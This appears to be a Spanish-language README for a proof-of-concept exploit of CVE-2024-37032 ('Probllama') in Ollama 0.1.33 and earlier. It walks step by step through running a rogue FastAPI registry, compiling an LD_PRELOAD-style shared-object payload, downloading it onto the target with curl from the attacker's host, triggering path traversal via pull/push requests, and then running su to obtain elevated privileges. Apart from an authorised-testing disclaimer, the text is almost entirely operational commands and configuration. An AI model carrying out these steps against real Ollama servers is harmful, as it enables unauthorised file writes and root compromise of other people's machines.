
CVE-2024-37032 (Probllama) PoC para Ollama ≤0.1.33: path traversal y escritura arbitraria de archivos a través del manejo de digest de modelo, lo que conduce a escalada de privilegios automatizada.
Este repositorio contiene un servidor de registro FastAPI de prueba de concepto, un script de conexión y una biblioteca de demostración de precarga para pruebas de laboratorio autorizadas.
Úselo solo en sistemas que posea o para los que tenga permiso explícito de prueba.
server.py: inicia el servidor PoC FastAPI.rogue_server/config.py: configuración central del servidor PoC.connector.py: envía las solicitudes pull/push a la API Ollama objetivo.preload_privs_demo.c: código fuente C para el payload del objeto compartido.requirements.txt: dependencias de Python para el servidor PoC.En su máquina anfitriona, instale las dependencias de Python:
python -m pip install -r requirements.txt
Edite rogue_server/config.py en su máquina anfitriona:
HOST = "<your_host_ip_or_host_ip>"
Edite connector.py:
SERVER_HOST = "<your_host_ip_or_host_ip:8000>"
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 11434
Notas:
SERVER_HOST debe apuntar al host que ejecuta server.py.8000, incluya el puerto tanto en HOST como en SERVER_HOST, por ejemplo 10.10.16.160:8000.TARGET_HOST y TARGET_PORT deben apuntar a la API Ollama objetivo. Si connector.py se ejecuta directamente en la máquina objetivo, 127.0.0.1:11434 suele ser correcto.rogue_server/config.py, reinicie el servidor PoC.Compile el archivo C y nombre la salida libpreload_privs_demo.so:
gcc -shared -fPIC -o libpreload_privs_demo.so preload_privs_demo.c
Copie estos archivos a la máquina objetivo autorizada:
libpreload_privs_demo.soconnector.pyUna forma sencilla es servirlos desde su máquina anfitriona:
python3 -m http.server 8081
Luego descárguelos desde la máquina objetivo:
curl -O http://<your_host_ip>:8081/libpreload_privs_demo.so
curl -O http://<your_host_ip>:8081/connector.py
Después de descargar el objeto compartido, copie su ruta absoluta en la máquina objetivo y establezca esa misma ruta como exploit_path en rogue_server/config.py en la máquina anfitriona.
Ejemplo:
exploit_path = "/tmp/libpreload_privs_demo.so"
Inicie el servidor FastAPI en su máquina anfitriona:
python server.py
Por defecto, este proyecto inicia Uvicorn en 0.0.0.0:8000.
En la máquina objetivo autorizada, ejecute:
python3 connector.py
El conector envía las solicitudes pull y push a la API Ollama configurada.
Después de que el conector termine, ejecute:
su
En un objetivo de laboratorio vulnerable y correctamente configurado, se debería usar la ruta de precarga y se puede observar la transición de privilegios.
SERVER_HOST en connector.py coincida con HOST en rogue_server/config.py.exploit_path es la ruta absoluta exacta donde existe libpreload_privs_demo.so en la máquina objetivo.TARGET_HOST:TARGET_PORT.server.py después de cambiar rogue_server/config.py.